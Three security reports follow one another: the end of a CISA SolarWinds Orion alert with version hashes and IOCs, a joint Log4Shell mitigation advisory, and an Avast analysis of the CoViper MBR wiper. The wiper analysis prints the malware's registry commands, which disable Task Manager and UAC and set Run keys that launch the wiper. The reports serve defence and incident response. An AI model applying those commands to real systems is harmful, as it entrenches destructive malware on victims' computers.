Orion products will generally fall into one of three categories: 1. **Category 1**: Networks that do not have the identified malicious binary code on their network and can forensically confirm that the binary was never present on their systems. 2. **Category 2**: Networks where the presence of the malicious binary has been identified—with or without beaconing to `avsvmcloud.com`. 3. **Category 3**: Networks that used affected versions of SolarWinds Orion and have evidence of follow-on threat actor activity. ### Compromise Mitigations If the adversary has compromised administrative level credentials in an environment, organizations should consider the entire identity trust store as compromised. In the event of a total identity compromise, a full reconstitution of identity and trust services is required to successfully remediate. ### SolarWinds Orion Specific Mitigations Organizations that have the expertise to take immediate actions should do so before proceeding to further steps. Affected organizations should immediately disconnect or power down all instances of affected versions of SolarWinds Orion from their network. ## Appendix A: Affected SolarWinds Orion Products | Orion Platform Version | Sunburst Backdoor Present | File Version | SHA-256 | |-----------------------|--------------------------|--------------|---------| | 2019.4 | Tampered but not backdoored | 2019.4.5200.8890 | a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc | | 2019.4 HF1 | No | 2019.4.5200.8950 | 9bee4af53a8cdd7ecabe5d0c77b6011abe887ac516a5a22ad51a058830403690 | | 2019.4 HF2 | No | 2019.4.5200.8996 | bb86f66d11592e3312cd03423b754f7337aeebba9204f54b745ed3821de6252d | | 2019.4 HF3 | No | 2019.4.5200.9001 | ae6694fd12679891d95b427444466f186bcdcc79bc0627b590e0cb40de1928ad | | 2019.4 HF4 | No | 2019.4.5200.9045 | 9d6285db647e7eeabdb85b409fad61467de1655098fec2e25aeb7770299e9fee | | 2020.2 RC1 | Yes | 2020.2.100.12219 | dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b | | 2019.4 HF5 | Yes | 2019.4.5200.9083 | 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 | | 2020.2 RC2 | Yes | 2020.2.5200.12394 | 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 | | 2020.2 HF1 | Yes | 2020.2.5300.12432 | ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 | | 2019.4 HF6 | No | 2019.4.5200.9106 | 8dfe613b00d495fb8905bdf6e1317d3e3ac1f63a626032fa2bdad4750887ee8a | | 2020.2.1 HF1 | No | 2020.2.15300.12766 | 143632672dcb6ef324343739636b984f5c52ece0e078cfee7c6cac4a3545403a | | 2020.2.1 HF2 | No | 2020.2.15300.12901 | cc870c07eeb672ab33b6c2be51b173ad5564af5d98bfc02da02367a9e349a76f | ## Appendix B: Indicators of Compromise Due to the operational security posture of the adversary, most observable IOCs are of limited utility; however, they can be useful for quick triage. Below is a compilation of IOCs from a variety of public sources provided for convenience. | IOC | Type | Notes | |-----|------|-------| | 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 | hash | Backdoor.Sunburst | | a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc | hash | Backdoor.Sunburst | | 13.59.205[.]66 | IPv4 | DEFTSECURITY[.]com | | deftsecurity[.]com | domain | Domain malicious on VT | | 54.193.127[.]66 | IPv4 | FREESCANONLINE[.]com | CISA will update this Alert as information becomes available and will continue to provide technical assistance, upon request, to affected entities as they work to identify and mitigate potential compromises. ## Contact Information CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at: - 1-888-282-0870 (From outside the United States: +1-703-235-8832) - [email protected] (UNCLASS) - [email protected] (SIPRNET) - [email protected] (JWICS)
# Mitigating Log4Shell and Other Log4j-Related Vulnerabilities ## Summary The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), National Security Agency (NSA), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), the Computer Emergency Response Team New Zealand (CERT NZ), the New Zealand National Cyber Security Centre (NZ NCSC), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) are releasing this joint Cybersecurity Advisory (CSA) to provide mitigation guidance on addressing vulnerabilities in Apache’s Log4j software library: CVE-2021-44228 (known as “Log4Shell”), CVE-2021-45046, and CVE-2021-45105. Sophisticated cyber threat actors are actively scanning networks to potentially exploit Log4Shell, CVE-2021-45046, and CVE-2021-45105 in vulnerable systems. According to public reporting, Log4Shell and CVE-2021-45046 are being actively exploited. CISA, in collaboration with industry members of CISA’s Joint Cyber Defense Collaborative (JCDC), previously published guidance on Log4Shell for vendors and affected organizations in which CISA recommended that affected organizations immediately apply appropriate patches (or apply workarounds if unable to upgrade), conduct a security review, and report compromises to CISA or the FBI. CISA also issued an Emergency Directive directing U.S. federal civilian executive branch (FCEB) agencies to immediately mitigate Log4j vulnerabilities in solution stacks that accept data from the internet. This joint CSA expands on the previously published guidance by detailing steps that vendors and organizations with IT and/or cloud assets should take to reduce the risk posed by these vulnerabilities. These steps include: - Identifying assets affected by Log4Shell and other Log4j-related vulnerabilities. - Upgrading Log4j assets and affected products to the latest version as soon as patches are available and remaining alert to vendor software updates. - Initiating hunt and incident response procedures to detect possible Log4Shell exploitation. This CSA also provides guidance for affected organizations with operational technology (OT)/industrial control systems (ICS) assets. Log4j is a Java-based logging library used in a variety of consumer and enterprise services, websites, applications, and OT products. These vulnerabilities, especially Log4Shell, are severe—Apache has rated Log4Shell and CVE-2021-45046 as critical and CVE-2021-45105 as high on the Common Vulnerability Scoring System (CVSS). These vulnerabilities are likely to be exploited over an extended period. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK strongly urge all organizations to apply the recommendations in the Mitigations section. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK encourage leaders of organizations to review NCSC-UK’s blog post, "Log4j vulnerability: what should boards be asking?", for information on Log4Shell’s possible impact on their organization as well as response recommendations. Note: this is an evolving situation, and new vulnerabilities are being discovered. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK will update this CSA as we learn more about this exploitation and have further guidance to impart. ## Technical Details ### Log4Shell Log4Shell, disclosed on December 10, 2021, is a remote code execution (RCE) vulnerability affecting Apache’s Log4j library, versions 2.0-beta9 to 2.14.1. The vulnerability exists in the action the Java Naming and Directory Interface (JNDI) takes to resolve variables. Affected versions of Log4j contain JNDI features—such as message lookup substitution—that do not protect against adversary-controlled Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS), and other JNDI-related endpoints. An adversary can exploit Log4Shell by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows the adversary to take full control over the system. The adversary can then steal information, launch ransomware, or conduct other malicious activity. ### CVE-2021-45046 CVE-2021-45046, disclosed on December 13, 2021, enables a remote attacker to cause RCE, a denial-of-service (DoS) condition, or other effects in certain non-default configurations. This vulnerability affects all versions of Log4j from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0. In response, Apache released Log4j version 2.16.0 (Java 8). ### CVE-2021-45105 CVE-2021-45105, disclosed on December 16, 2021, enables a remote attacker to cause a DoS condition or other effects in certain non-default configurations. According to Apache, when the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. In response, Apache released Log4j version 2.17.0 (Java 8). ### Impact Log4Shell and CVE-2021-45046—rated as critical vulnerabilities by Apache—are severe because Java is used extensively across IT and OT platforms, they are easy to exploit, and applying mitigations is resource intensive. Log4Shell is especially critical because it allows malicious actors to remotely run code on vulnerable networks and take full control of systems. According to public reporting, exploitation of Log4Shell began on or around December 1, 2021, and a proof-of-concept exploit is publicly available for this vulnerability. The FBI has observed attempted exploitation and widespread scanning of the Log4j vulnerability to gain access to networks to deploy cryptomining and botnet malware. The FBI assesses this vulnerability may be exploited by sophisticated cyber threat actors and incorporated into existing cyber criminal schemes that are looking to adopt increasingly sophisticated obfuscation techniques. According to public reporting, CVE-2021-45046 is being actively exploited as well. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK assess that exploitation of these vulnerabilities, especially Log4Shell, is likely to increase and continue over an extended period. Given the severity of the vulnerabilities and likely increased exploitation, CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK strongly urge all organizations to apply the recommendations in the Mitigations section to identify, mitigate, and update affected assets. ## Mitigations ### Vendors CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK encourage vendors to: 1. Immediately identify, mitigate, and update affected products that use Log4j to the latest patched version. - For environments using Java 8 or later, upgrade to Log4j version 2.17.0 (released December 17, 2021) or newer. - For environments using Java 7, upgrade to Log4j version 2.12.3 (released December 21, 2021). Note: Java 7 is currently end of life and organizations should upgrade to Java 8. 2. Inform your end users of products that contain these vulnerabilities and strongly urge them to prioritize software updates. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK strongly recommend vendors take steps to ensure messaging on software updates reaches the widest possible audience (for example, avoid placing relevant information behind paywalls). Note: CISA is actively maintaining a GitHub page and repository with patch information for products known to be affected by Log4Shell. CISA has also notified ICS vendors that may be affected and has asked them to confirm any assets affected by Log4Shell and to apply available mitigations. ### Affected Organizations with IT and Cloud Assets CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend that affected organizations take the following steps to patch these vulnerabilities in their IT and cloud assets and initiate threat hunting to detect possible compromise. Organizations with OT/ICS environments should review the Organizations with OT/ICS Assets section for additional guidance. Note: this guidance includes resources that may or may not be possible for all organizations. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend that organizations apply the mitigations listed in this advisory to the extent allowed by their environments. 1. Identify vulnerable assets in your environment. - Knowing where Log4j and other affected products exist in your environment is key for protecting your networks. - Inventory all assets that make use of the Log4j Java library. According to public reporting, adversaries are patching and mitigating assets they compromise to retain control of assets. To avoid missing such defense evasion, organizations should carefully track assets under investigation. - Assume all versions of Java and Log4j are vulnerable and include them in the inventory. - Ensure the inventory includes all assets, including cloud assets, regardless of function, operating system, or make. Ensure the inventory includes the following information about each asset: - Software versions - Timestamps of when last updated and by whom - User accounts on the asset with their privilege level - Location of asset in your enterprise topology 2. Identify the inventoried assets that are likely vulnerable. - Use CISA's GitHub repository and CERT/CC's CVE-2021-44228_scanner to identify assets vulnerable to Log4Shell. Additional resources for detecting vulnerable instances of Log4j are identified below. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK will update the sources for detection rules as we obtain them. Note: due to the urgency to share this information, CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK have not yet validated this content. - To identify server applications that may be affected by Log4Shell and CVE-2021-45046, see TrendMicro: Log4J Vulnerability Tester. - For a list of hashes to help determine if a Java application is running a vulnerable version of Log4j, see: - Rob Fuller's GitHub page: CVE-2021-44228-Log4Shell-Hashes, and - The NCC Group’s GitHub page: Cyber-Defence/Intelligence/CVE-2021-44228/. - For PowerShell to detect vulnerable instances, see: - Nathan Kula’s GitHub page: PowerShellSnippets/Invoke-Log4ShellScan.ps1, and - Will Dormann’s GitHub page: checkjndi.ps1. - For guidance on using Canary Token to test for callback, see Thinkst Canary’s Twitter thread on using Canary Tokens. - For guidance on using Burpsuite Pro to scan, see: - Silent Signal’s GitHub page: burp-log4shell, and - PortSwigger’s GitHub page: active-scan-plus-plus. - For guidance on using NetMap’s Nmap Scripting Engine (NSE), see Divertor’s GitHub page: nse-log4shell. - See Florian Roth's GitHub page, Fenrir 0.9.0 - Log4Shell Release, for guidance on using Roth’s Fenrir tool to detect vulnerable instances. 3. Mitigate known and suspected vulnerable assets in your environment. - Treat known and suspected vulnerable assets as compromised. These assets should be isolated until they are mitigated and verified (step 2.D). The method of isolation that you should use depends on the criticality of the asset. Possible isolation methods include: - Physically removing the asset from the network (e.g., unplug the network cable); - Moving the asset to a “jail VLAN” with heightened monitoring and security; - Blocking at the network layer (a switch or some other device); - Implementing a firewall (including web application firewall) with strict port control and logging; or - Restricting the asset’s communication, especially to the internet and the rest of the enterprise network. - Patch Log4j and other affected products to the latest version. See the Apache Log4j Security Vulnerabilities webpage (as of December 22, 2021, the latest Log4j version is 2.17.0 for Java 8 and 2.12.3 for Java 7). Note: patching or updating Java is not enough, you must upgrade the Log4j library itself. For other affected products, see CISA’s GitHub page. - Note: if your organization is unable to immediately identify and patch vulnerable instances of Log4j, apply appropriate workarounds. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend using vendor-provided mitigations when available. Due to the rapidly evolving situation, these workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available. Additional mitigations are identified below; however, organizations should use these mitigations at their own risk as they may be incomplete, temporary, or cause harmful effects, such as application instability, a DoS condition, or log evasion. - Remove the Jndilookup.class from the class path. - Delete or rename Jndilookup.class. Note: removal of the JndiManager will cause the JndiContextSelector and JMSAppender to no longer function. - Apply a hot patch. - NCC Group: log4j-jndi-be-gone: A simple mitigation for CVE-2021-44228 - Amazon AWS: - GitHub page: hotpatch-for-apache-log4j2 - Blog: Hotpatch for Apache Log4j - Keep an inventory of known and suspected vulnerable assets and what is done with them throughout this process. It is important to track patching because malicious cyber actors may compromise an asset and then patch it to protect their operations. Organizations should keep a meticulous record of vulnerable assets they have patched to identify whether a threat actor may have patched an asset. - Verify the mitigation has worked, if possible. - Scan the patched/mitigated asset with the tools and methods listed in step 1.B. Use more than one method to verify the mitigation was successfully applied. - Monitor the asset closely. - Remain alert to changes from vendors for the software on the asset. Additionally, see CISA's GitHub page for known affected products and patch information. CISA will continually update the repository as vendors release patches. 4. Initiate hunt and incident response procedures. Given the widespread exploitation of this vulnerability, CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK encourage all organizations to assume their assets that use Log4j may have been compromised and initiate hunt procedures. - Hunt for signs of exploitation and compromise. - Treat assets that use Log4j as suspect and conduct vigorous forensic investigation of those assets. - Inspect and monitor accounts across your enterprise that exist on or connect to assets that use Log4j. - Inspect changes to configurations made since December 1, 2021, and verify they were intended, especially on assets that use Log4j. - Use CISA’s GitHub page to detect possible exploitation or compromise. Additional resources to detect possible exploitation or compromise are identified below. Note: due to the urgency to share this information, CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK have not yet validated this content. - Cisco Talos blog: Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild - Curated Intelligence GitHub page: Log4Shell-IOCs (Note: Curated Intelligence notes that the “IOCs shared by these feeds are low-to-medium confidence we [Curated Intelligence] strongly recommend not adding them to a blocklist.”) - EmergingThreat.net: signatures to assist with detection of CVE-2021-44228 activity - Florian Roth’s GitHub pages: - Log4j RCE Exploitation Detection - signature-base/yara/expl_log4j_cve_2021_44228.yar - log4shell-detector - Huntress blog: Critical RCE Vulnerability: log4j - CVE-2021-44228 - Mandiant blog: Now You Serial, Now You Don’t – Systematically Hunting for Deserialization Exploits - Microsoft Security Response Center: Microsoft’s Response to CVE-2021-44228 - Apache Log4j 2 - NCC Group: Log4Shell: Reconnaissance and post exploitation network detection - Sigma GitHub pages: - sigma/rules/web/web_cve_2021_44228_log4j.yml - sigma/rules/web/web_cve_2021_44228_log4j_fields.yml B. If compromise is detected, organizations should: 1. Initiate incident response procedures. See the joint advisory from ACSC, CCCS, NZ NCSC, CERT NZ, NCSC-UK, and CISA on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK encourage organizations to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to U.S. FCEB agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. 2. Consider reporting compromises immediately to applicable cybersecurity authorities. Organizations are encouraged to be as thorough as possible by including information such as IP addresses/domains used to exploit your infrastructure, exploited applications/servers, administrators contact information, and the start and end dates of the attack. - U.S. organizations should report compromises to CISA and the FBI. - Australian organizations can visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents. - Canadian organizations can report incidents by emailing CCCS at [email protected]. - New Zealand organizations can visit NCSC.govt.nz to report incidents. - UK organizations can report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hrs) or, for urgent assistance, call 03000 200 973. ### Evaluate and apply other mitigations. A. Remain alert to changes from vendors for the software on the asset, and immediately apply updates to assets when notified by a vendor that their product has a patch for this vulnerability. Additionally, see CISA's GitHub repository for known affected products and patch information. CISA will continually update the repository as vendors release patches. B. Continue to monitor Log4J assets closely. Continually use signatures and indicators of compromise that may indicate exploitation. - See the exploitation and detection resources listed in step 3.A.(4). - Be aware that there are many ways to obfuscate the exploit string. Do not depend on one detection method to work all the time. C. Continue to monitor the Apache Log4j Security Vulnerabilities webpage for new updates. Note: as this is an evolving situation and new vulnerabilities in Log4J are being discovered, organizations should ensure their Apache Log4j is up to date. Identify the software your enterprise uses and stay on top of updates as these may be superseded by other updates and fixes. D. Block specific outbound Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) network traffic. - Outbound LDAP: for most networks, LDAP is used internally, but it is rare for LDAP requests to be routed outside a network. Organizations should block outbound LDAP or use an allowlist for outbound LDAP to known good destinations. Note: this may be difficult to detect on certain ports without a firewall that does application layer filtering. - Remote Method Invocation (RMI): for most networks, RMI is either unused or used for internal sources. Organizations should block outbound RMI or use an allowlist for outbound RMI to known good destinations. - Outbound DNS: organizations using enterprise DNS resolution can block outbound DNS from sources other than identified DNS resolvers. At a minimum, blocking direct outbound DNS from web application servers configured to use enterprise DNS resolution will mitigate the risks to those systems. Note: blocking attacker internet IP addresses during this event is difficult due to the high volume of scanning from non-malicious researchers and vendors. The false positives on IP addresses are high. Organizations should focus on looking for signs of successful exploitation and not scans. ## Affected Organizations with OT/ICS Assets Due to the pervasiveness of the Apache Log4j software library—and the integration of the library in operational products—CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK strongly recommend that OT asset owners and operators review their operational architecture and enumerate the vulnerability status against current product alerts and advisories. If a product does not have a security advisory specifically addressing the status of the vulnerability, treat it with additional protections. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK urge patching or deployment of mitigations to reduce the risk of the threat of these vulnerabilities. Note: CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend prioritizing patching IT devices, especially those with internet connectivity. Affected internet-facing devices as well as laptops, desktops, and tablets are especially susceptible to exploitation of these vulnerabilities. OT/ICS devices—if segmented appropriately from the IT environment—do not face the internet and, as such, have a smaller attack surface to this vulnerability. Exploitation of IT devices may affect OT/ICS devices if there is insufficient network segmentation that prevents lateral movement. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend that OT/ICS asset owner/operators take the following guidance into consideration: 1. Review operational architecture and enumerate the vulnerability against current product alerts and advisories. If products do not have a security advisory specifically addressing their status of the vulnerability, it is recommended to treat these devices with additional protections. 2. Implement the steps listed in the previous section to identify and isolate vulnerable assets in the OT/ICS environment. Understand what type of products in the OT environment would be affected. Many OT/ICS-specific products incorporate vulnerable versions of the Log4j library. 3. Use a risk-informed decision-making process to apply the latest version of hotfixes or patches to affected devices as soon as is operationally feasible. If patches cannot be applied, mitigations provided by the product’s manufacturer or reseller should be deployed. Note: CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK recommend, as quality assurance, that users test the update in a test development environment that reflects their production environment prior to installation. 4. Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet. 5. Locate control system networks and remote devices behind firewalls and isolate them from the business network. When remote access is required, use secure methods such as virtual private networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that a VPN is only as secure as its connected devices. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK also remind organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures. CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage on cisa.gov in the Technical Information Paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies. Organizations observing any suspected malicious activity should follow their established internal procedures and consider reporting compromises immediately. - U.S. organizations should report compromises to CISA and the FBI. - Australian organizations can visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents. - Canadian organizations can report incidents by emailing CCCS at [email protected]. - New Zealand organizations can visit NCSC.govt.nz to report incidents. - UK organizations can report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hrs) or, for urgent assistance, call 03000 200 973. ## Resources For more information, resources, and general guidance, including resources and mitigation guidance from industry members of JCDC, see CISA’s webpage Apache Log4j Vulnerability Guidance. Note: due to the prominent and ever-evolving nature of this vulnerability, there are multiple unverified published guidance documents that are geared towards Log4j vulnerabilities. CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, and NCSC-UK encourage all organizations to verify information with trusted sources, such as CISA, the FBI, NSA, ACSC, CCCS, CERT NZ, NZ NCSC, NCSC-UK vendors. ## References **Revisions** - December 22, 2021: Initial Version - December 23, 2021: Updated Resource URL
# CoViper Locking Down Computers During Lockdown CoViper is a new wiper malware family taking advantage of the COVID-19 crisis. Based on our analysis, we believe it is attracting victims by masquerading as a file related to the coronavirus. The wiper breaks an infected computer’s boot operation by rewriting the Master Boot Record (MBR) located on the computer’s disk. The MBR contains valuable information about how the OS should be booted on the PC. If the MBR is damaged, the PC will most likely remain non-functional, as it cannot be booted as usual. A skilled user could reinstall their MBR to recover their PC and files or use other bootable media devices. This particular malware family is sometimes also called the “MBR wiper” or even “MBR locker.” MBR lockers are often used in combination with ransomware, where the ransom note is displayed to the victim. In this case, however, the MBR is simply destroyed; no ransom is demanded. It’s possible that CoViper could be an early version of malware that will later turn into ransomware. ## Analysis CoViper is distributed as an installer written in PureBasic, with all interesting files packed as resources. CoViper is composed of several binaries and scripts. These files are dropped into the computer’s temporary folder (%TEMP%, usually the absolute path is C:\Users\<username>\AppData\Local\Temp), created using the GetTempFileNameA API function. Here’s a short summary of the files CoViper drops into the temp folder: - **coronavirus.bat** – a stager that installs the malware and secures its persistence - **end.exe** – a wiper written in Delphi. Its purpose is to rewrite the MBR, effectively preventing the PC from booting normally - **mainWindow.exe** – launches a GUI with an image of the (corona)virus - **run.exe** – a binary ensuring persistence, starting mainWindow.exe process. This is performed by an intermediate script called run.bat - **Update.vbs** – currently a non-functional (not yet fully implemented) script, presumably designed to update the malware to a newer version - **cursor.cur** – a cursor file which is set as a new cursor’s appearance - **wallpaper.jpg** – a black wallpaper, set as the default desktop background on the victims’ PC ### The Installation – coronavirus.bat This simple coronavirus.bat script is used to install the malware onto the victim’s computer. The script also copies all the dropped files from the temporary folder into a new, hidden folder called COVID-19 in the user’s home directory. Furthermore, the script changes registry keys to ensure persistence on the system and restarts the system with a five-second delay once the script is finished running. The restart will effectively execute three files: Update.vbs, run.exe, and end.exe. The script is verbose, informing the user that the “coronavirus Installer” is working and after the script finishes, the “coronavirus successfully installed” (not our typo) and “Your computer will restart in 5 seconds to finish the installation :)” is shown as well. While adding a smiley may be used to ease the pain of what’s to come, it’s a little too much for our liking. In addition to ensuring persistence and disabling the UAC by modifying the EnableLUA registry key, the malware also prevents the user from starting the Task Manager, which will become “handy” in the next stage, because the user will lose the ability to kill the malware process. However, the Task Manager is the only tool it disables, so using e.g. Process Explorer would still be possible. The coronavirus.bat script also changes the appearance of the user’s mouse cursor and changes the desktop wallpaper to black. It prevents the user from changing the wallpaper to any other image unless the user changes the registry entry back again. ### First Reboot Let’s now focus on what the other scripts and binaries do after the first reboot. **Update.vbs** We suspect the Update.vbs VisualBasic script is unfinished and will probably serve as an update mechanism for future versions of CoViper. Right now, the script only contains two lines of code, effectively doing nothing. In other words, it waits two minutes and then displays a message which tells the user to contact their administrator or fix their internet connection. This only means that the update mechanism has not been implemented yet. **run.exe** The run.exe binary is an UPX packed file. Unpacking the file reveals that it is almost the same as the initial PureBasic installer. The difference is that the file doesn’t contain scripts and binaries that were previously present in the binary and dropped onto the disk afterwards. Instead, it executes a run.bat script which performs several additional operations on the victims’ system. The script ensures the malware’s persistence once again. There is no difference between the persistence in this bat script and the coronavirus.bat script, but there is a difference in the infinite run loop which repeatedly executes the mainWindow.exe binary every time it is closed by the user. As mentioned before, the user cannot use Task Manager to kill this process, making it rather annoying. **mainWindow.exe** mainWindow.exe is a binary written in VisualBasic. It has no apparent purpose other than to annoy the user. A window with an image of the (corona)virus is displayed. Two buttons are available to the user, “Help” and “Remove virus.” The help button displays a rather “helpful” text informing the user not to “WAST HIS TIME” (again the typo is included in the program) and that the computer is infected with the “coronavirus” and it cannot be stopped. The “Remove virus” button’s functionality is not currently implemented. **end.exe** The end.exe is truly the last stage of CoViper and it holds the wiper’s core functionality. It is written in Borland Delphi. The purpose of this process is to rewrite the infected computer’s MBR with the attacker’s own code. This results in a non-functional booting mechanism, leading to the inability to start the PC properly and boot the system. However, we found something interesting in the assembly. Before the MBR is replaced, its backup is created. This indicates that some kind of a failsafe could be implemented further in the code. The backup is written after the new MBR, starting at 0x200 byte offset. Furthermore, we can see that after the backup, some interesting memory bytes (strings) are copied as well, at the 0x400 offset. The result can be illustrated with this image: Instead of a standard MBR, this code is inserted. Despite the code being short, it is enough to break the regular booting mechanism. This code also prints two strings on the screen. As we suspected from the memory copy of strings above, the first string is the author’s credential signature: “Created By Angel Castillo. Your Computer Has Been Trashed.” The second is a Discord server where the victim can reach the author: Discord: Windows Vista#3294. After the execution of the end.exe, no other action is performed. The user is left helpless. ### Second Reboot The Task Manager is a “task managing” tool that most users are familiar with, and the victim most likely cannot close the mainWindow.exe process without it. The obvious solution for any IT problem is to turn the device off and on again. This will, however, “kill” the victim’s computer, making it unusable, unless the victim is tech-savvy and can reinstall the MBR. Upon restarting the PC, this message is displayed to the victim: A boot screen with the modified MBR. ### The Failsafe After further analysis of the MBR, we have good news! The author did implement a failsafe to the MBR code. We suppose this is implemented in case the malware author accidentally executed the malware on their own PC and/or in case of a request for advice on the aforementioned Discord server. From this MBR assembly, we can see that the program waits for an input. This expected input is in fact CTRL+ALT+ESC. After this key combination, the MBR is replaced with the original one (from the backup performed by end.exe) and the PC can be restarted and booted normally. Keep in mind that after the restart, the malware is executed once again (i.e. the end.exe binary). Thus, users should at least first remove the autorun settings, so the whole scenario won’t repeat itself. ### Further Investigation The author of CoViper left a message for us. The aforementioned messages leave us a few clues — the author’s pseudonym and a Discord server that was still online at the time of writing. While investigating CoViper, it is clear that this malware was generated by a custom tool publicly available on the Internet, for free. We have concluded that the author of this tool is not actually the author of CoViper itself, so we will not disclose his name or the tool’s name to avoid bringing more attention to it. For further information regarding this topic and our investigation, you can contact us any time at @AvastThreatLabs on Twitter. ### Indicators of Compromise (IoC) | Hash | Name | |-------------------------------------------------------------------------------------------------------|---------------------| | 4FD9B85EEC0B49548C462ACB9EC831A0728C0EF9E3DE70E772755834E38AA3B3 | coronavirus.bat | | C3F11936FE43D62982160A876CC000F906CB34BB589F4E76E54D0A5589B2FDB9 | end.exe | | B780E24E14885C6AB836AAE84747AA0D975017F5FC5B7F031D51C7469793EABE | mainWindow.exe | | C46C3D2BEA1E42B628D6988063D247918F3F8B69B5A1C376028A2A0CADD53986 | run.exe | | A1A8D79508173CF16353E31A236D4A211BDCEDEF53791ACCE3CFBA600B51AAEC | Update.vbs | | FE22DD2588666974CAE5B5BBDE2D763AFBD94BCCF72D350EC4E801F9354D103D | run.exe unpacked | | DF1F9777FE6BEDE9871E331C76286BAB82DA361B59E44D07C6D977319522BA91 | run.bat | | 13C4423ED872E71990E703A21174847AB58DEC49501B186709B77B772CEEAB52 | cursor.cur | | 4A17F58A8BF2B26ECE23B4D553D46B72E0CDA5E8668458A80CE8FE4E6D90C42D | wallpaper.jpg | | 7AE5E2BE872510A0E2C01BCF61C2E2FB1E680CD9E54891D3751D41F53AC24F84 | New MBR | ### Changed Registry Keys - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d 1 /f - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /t REG_SZ /d %homedrive%\COVID-19\wallpaper.jpg /f - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f - HKCU\Control Panel\Cursors /v Arrow /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f - HKCU\Control Panel\Cursors /v AppStarting /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f - HKCU\Control Panel\Cursors /v Hand /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f - HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /t REG_SZ /d %homedrive%\COVID-19\Update.vbs /f - HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /t REG_SZ /d %homedrive%\COVID-19\run.exe /f - HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /t REG_SZ /d %homedrive%\COVID-19\end.exe /f **Tagged as**: locker, MBR, wiper
